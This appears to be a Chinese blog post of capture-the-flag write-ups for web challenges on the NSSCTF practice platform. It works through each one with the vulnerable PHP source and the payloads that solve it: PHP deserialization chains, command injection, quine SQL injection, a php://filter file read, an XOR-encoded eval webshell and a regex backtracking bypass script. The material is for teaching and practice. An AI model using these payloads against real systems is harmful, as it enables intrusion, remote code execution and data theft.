抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Qingwan

在时间的维度上,一切问题都是有解的。

比较基础的一些web题⑥

[HNCTF 2022 Week1]Interesting_http

http伪造

NSSCTF{b77de8fa-f474-46c4-b7f1-5b98e61f188d}

[GKCTF 2021]easycms

打开链接,发现是禅知7.7cms
https://blog.csdn.net/LYJ20010728/article/details/120005727
复现一下这个漏洞
题目上是一个静态页面,没有什么跳转
扫描到了后台网站admin.php
用户名密码爆破为admin12345
看到设计页面可以导出主题

导出一个看一下
复制一下下载链接
http://node4.anna.nssctf.cn:28861/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=
把后面的Base64解码一下
/var/www/html/system/tmp/theme/default/1.zip
那我们换一个呢,假设换成
/flag
http://node4.anna.nssctf.cn:28861/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=
然后下载了一个zip文件,但是不能打开,把后缀改成php或者txt之后,即可得到flag
NSSCTF{2a3e11c5-9011-40e0-83d2-9acaa9407291}

[第五空间 2021]pklovecloud

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
 <?php  
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>

网上有一篇wp写的很详细:https://www.ctfer.vip/note/set/2527
开头看到了flag.php函数,接下来就去找找有没有什么危险函数可以让我们读取flag.php的内容。我们发现了class ace里面的file_get_contents($file),即我们只需要让file的值为flag.php即可,接下来就是一步一步的调用了。其实就是要调用echo_name函数,那这个函数又在__toString() 被调用了
这里我们就可以总结一下,__toString() 函数什么时候会被调用

__toString() 函数被调用的情况

①对一个对象进行print或者echo的时候会触发__toString;

② 声明的变量赋值为对象后与字符串做弱类型比较的时候就能触发__toString

③声明的变量赋值为对象后进行正则匹配的时候就能触发__toString

④声明的变量被赋值为对象后进行strolower的时候就能触发__toString

⑤声明的变量进行实例化的时候就能触发__toString;
___toString 的触发方法就是:将对象当作字符串使用

我们会发现 Class acp 中的__construct()构造函数中对$cinder 进行了实例化,而__construct()构造函数在实例化一个对象的时候就会被调用;
所以最终的链子为:
Class acp :: __construct() -> Class acp :: __toString() -> Class ace :: echo_name()
我们分析一下class ace 中的 echo_name() ,我们可以发现需要满足
$this->$openstack->neutron === $this->openstack->nova
然后在上面有$this->$openstack = unserialize($this->docker),因此只要我们使
$this->docker =null,然后让$this->filename=”flag.php”即可使得上面的判断成立,
并且读取 flag.php 的内容,poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php  

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct($a)
{
$this->cinder = $a;
}
}

class ace
{
public $filename="flag.php";
public $openstack;
public $docker = null;

}
$a = new ace;
$b = new acp($a);
echo urlencode(serialize($b))
?>

传参,查看源代码发现flag,不在这里
最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php  

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct($a)
{
$this->cinder = $a;
}
}

class ace
{
public $filename="../nssctfasdasdflag";
public $openstack;
public $docker = null;

}
$a = new ace;
$b = new acp($a);
echo urlencode(serialize($b))
?>

payload为:

1
?pks=O%3A3%3A"acp"%3A3%3A{s%3A9%3A"%00*%00cinder"%3BO%3A3%3A"ace"%3A3%3A{s%3A8%3A"filename"%3Bs%3A19%3A"..%2Fnssctfasdasdflag"%3Bs%3A9%3A"openstack"%3BN%3Bs%3A6%3A"docker"%3BN%3B}s%3A7%3A"neutron"%3BN%3Bs%3A4%3A"nova"%3BN%3B}

NSSCTF{76fe8cfb-15cb-497e-a3bc-ecdd8a2c6092}

[WUSTCTF 2020]朴实无华

扫描一下,发现了robots.txt,然后看到了一个路由,进去这个路由然后抓包

访问一下fl4g.php
看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

intval绕过&弱比较md5编码前后值一样

这里是一个特性。科学计数法绕过。比如3e1会被认为是3,但是3e3+1会被认为是3001
这里的绕过就是也是用科学计数法,但是后面要纯数字
所以最后的payload为
?num=3e3&md5=0e215962017&get_flag=more${IFS}f*
NSSCTF{acd27fac-8e2a-4ba9-9a17-bed2a60072bb}

[SWPUCTF 2022 新生赛]1z_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;

function __destruct()
{
$a = $this->lt;

$a($this->lly);
}


}
unserialize($_POST['nss']);
highlight_file(__FILE__);


?>

应该是反序列化的签到题
直接上poc

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
}
$a=new lyh;
$a->lt=system;
$a->lly="cat /f*";
echo serialize($a);
?>

payload为

1
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:7:"cat /f*";}

NSSCTF{fc6fe9fc-af30-4420-a63c-ea50b469bf0b}

[SWPUCTF 2022 新生赛]where_am_i

emmmm脑洞题 有点那个了
题目的图片搜索 然后得到店家的电话提交
NSSCTF{33652a44-3323-426b-ae94-121f3e969f35}

[第五空间 2021]yet_another_mysql_injection

点开题目,F12看到提示,拿到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
 <?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php'); //password不能为空,并且username为admin
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php'); //password要和查询到的password相同
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>

审计一下代码,可以知道我们在主页要用admin这个用户名登录,然后密码是注入点,但是这里绕过了很多东西
这里要求我们传入的username必须为admin,而且我们输入的密码必须和存储的查询的密码相同,才可以登录
然后这里的password也用正则绕过了很多东西,从上面的源码可以看到,输入的sql语句查询的数据库为user
那我们这里可以用联合注入进行查询,正则过滤的东西用其他代替就可以了。这里还是无回显,所以我们这里应该用盲注

sql的过滤

1
2
3
4
5
6
7
8
9
sleep 可以用benchmark代替

<,> 可以用least(),greatest()代替

=,in 可以用like代替

substr 可以用mid代替

空格 可以用/**/代替

quine注入

参考文章:
https://www.anquanke.com/post/id/253570
https://blog.csdn.net/qq_35782055/article/details/130348274

那这里要求的是$sql执行的结果与$password相同,我们本来要满足的条件是我们输入的密码和查询到的密码是相同的,但是这里我们使得我们的输入和输出是一致的,也可以达到效果。
Quine又叫做自产生程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术,常用于一些特殊的登陆绕过sql注入中。

根据上面的参考文章,我们可以知道Quine注入基本的原理其实就是套娃,可以描述为如下形式

1
REPLACE(str,编码的间隔符,str)

str可描述为如下形式:

1
REPLACE(间隔符,编码的间隔符,间隔符)

这样运算后,最后的结果又是:

1
REPLACE(str,编码的间隔符,str)

所以比如这个语句

1
REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")

他的输入输出都是不变的

所以这道题,
其中1'/**/union/**/select/**/replace(replace('str',char(34),char(39)),char(46),'str')#是Quine的基本形式
而str的基本形式为
1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#
如果char被过滤了,可以使用chr0x绕过

1
2
3
char(34),char(39)
chr(34),chr(39)
0x22,0x27

最后的payload为

1
'/**/union/**/select(REPLACE(REPLACE('"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#',CHAR(34),CHAR(39)),CHAR(33),'"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#'))#

先用'去闭合password参数里的引号,然后再用联合查询语句,这里还涉及单引号双引号的问题,所以把要先把双引号替换为单引号,再替换一下被正则过滤的那些字符
NSSCTF{28c8ada1-d8ed-4a75-af12-f0b0da64ff6e}

这里还有一个非预期解,扫一下后台

1
dirsearch -u http://node4.anna.nssctf.cn:28703/ -e*

扫到了/phpmyadmin/ 然后直接admin/admin弱密码登录,最后在user表找到密码,但是我们用注入的时候是在表里查不到密码的,而且这里后面好像把这个非预期给修了

[MoeCTF 2022]baby_file

打开环境

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<title>Here's a secret. Can you find it?</title>
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>
</html>

GET传参

1
/?file=php://filter/convert.base64-encode/resource=flag.php

NSSCTF{70497173-c989-4054-9d6d-417be2cad52e}

[SWPUCTF 2022 新生赛]xff

http头伪造

1
2
X-Forwarded-For: 127.0.0.1
Referer: node5.anna.nssctf.cn:28983

NSSCTF{th1s_xff_1s_e4ay}

[SWPUCTF 2022 新生赛]numgame

这道题f12和开发者模式怎么都打不开源码,最后先在一个网页打开F12,然后再在那个网页访问链接
在JS文件源码里发现注释,访问文件NsScTf.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
static function ctf(){
include("./hint2.php");
}
}
if(isset($_GET['p'])){
if (preg_match("/n|c/m",$_GET['p'], $matches))
die("no");
call_user_func($_GET['p']);
}else{
highlight_file(__FILE__);
}

访问一下hint2.php,提示类是nss2

静态方法访问类成员

这里的call_user_func函数:把第一个参数作为回调函数调用


php是不分大小写的,所以这里可以用大小写绕过,所以这里的payload为:

1
p=Nss2::Ctf

NSSCTF{51074e32-f061-40f1-b3e3-f06b517f69f9}
这里还可以用数组绕过

1
p[]=nss2&p[]=ctf

[SWPUCTF 2022 新生赛]js_sign

查看源代码

1
2
3
4
5
6
7
8
document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
if (btoa(flag.value) == 'dGFwY29kZQ==') {
alert("you got hint!!!");
} else {
alert("fuck off !!");
}
})

tapcode敲击码

解码提示tapcode是敲击码
在线网站解密一下,记得去掉空格
3343431344215434452124331421311122125444113513341415
NSSCTF{youfindflagbytapcode}

[HUBUCTF 2022 新生赛]HowToGetShell

1
2
3
4
5
6
7
<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
die("invalid input!");
}
eval($mess);

无字符RCE–异或

看到正则匹配就知道是无字符RCE
看下笔记
可以用取反,异或,自增绕过。这里用异或绕过
POST传参mess=$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');$___=$$__;$_($___[_]);
对这段payload的理解为:
('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');$___=$$__;构造函数assert($_GET[_]); 然年$_($___[_])这里调用函数
然后GET传参?_=phpinfo();还可以构造POST传参的直接POST传参
mess=$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);&_=phpinfo();,然后搜索可得flag
NSSCTF{33296b7a-7b34-4eaa-a8e5-8ae3db34fba5}

[SWPUCTF 2022 新生赛]ez_ez_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}

这里的__wakeup魔术方法,会给我们的参数赋值,所以我们需要绕过他,然后这个给x赋值flag所在的文件

__wakeup的绕过

所以poc为

1
2
3
4
5
6
7
8
<?php
class X{
public $x=fllllllag.php;
}
$qw = new X;
$qw -> x = 'fllllllag.php';
$wq = serialize($qw);
echo ($wq);

得到payload为
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
这里如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。
所以最后的payload为?x=O:1:"X":3:{s:1:"x";s:13:"fllllllag.php";}
NSSCTF{a2ffe11f-a95a-49ce-abf0-185b52ab7cc1}

[NISACTF 2022]middlerce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>

这里看到我们最后要执行命令,正则绕过了很多字符,这个正则表达式模式将匹配一个字符串,并且要求该字符串包含字母、数字、下划线或特定的特殊字符。具体来说,它可以匹配包含以下字符之一的字符串:字母、数字、还有那些字符。json_decode() 函数用于将 JSON 格式的字符串转换为 PHP 对象或关联数组。
这里要绕过两个地方,第一个是绕过正则表达式,第二个是未知的checkdata函数

PCRE回溯次数限制绕过+php短标签

https://www.freebuf.com/articles/web/190794.html、

简单来说,就是我们正则的回溯次数大于100万次,reg_match 返回的非 1 和 0,而是 false。

利用爆破得出checkdata函数绕过了

1
assert、flag、cat、tac、php

所以我们RCE的命令为?><?= tail /f*?> 这里的<?=?>则是利用短标签,相当于<? echo>?>用于在eval函数时进行闭合,方便我们使用短标签来echo输出结果,反引号用来执行命令。所以最后的脚本为

1
2
3
4
5
import requests
payload='{"cmd":"?><?= `tail /f*`?>","test":"' + "#"*(1000000) + '"}'
# '@'*(1000000) 就是将 @ 字符串重复 1000000 次
res = requests.post("http://node4.anna.nssctf.cn:28922/", data={"letter":payload})
print(res.text)

flag为NSSCTF{b305b11e-c003-42a4-9c10-dc6a1e282a1c}

评论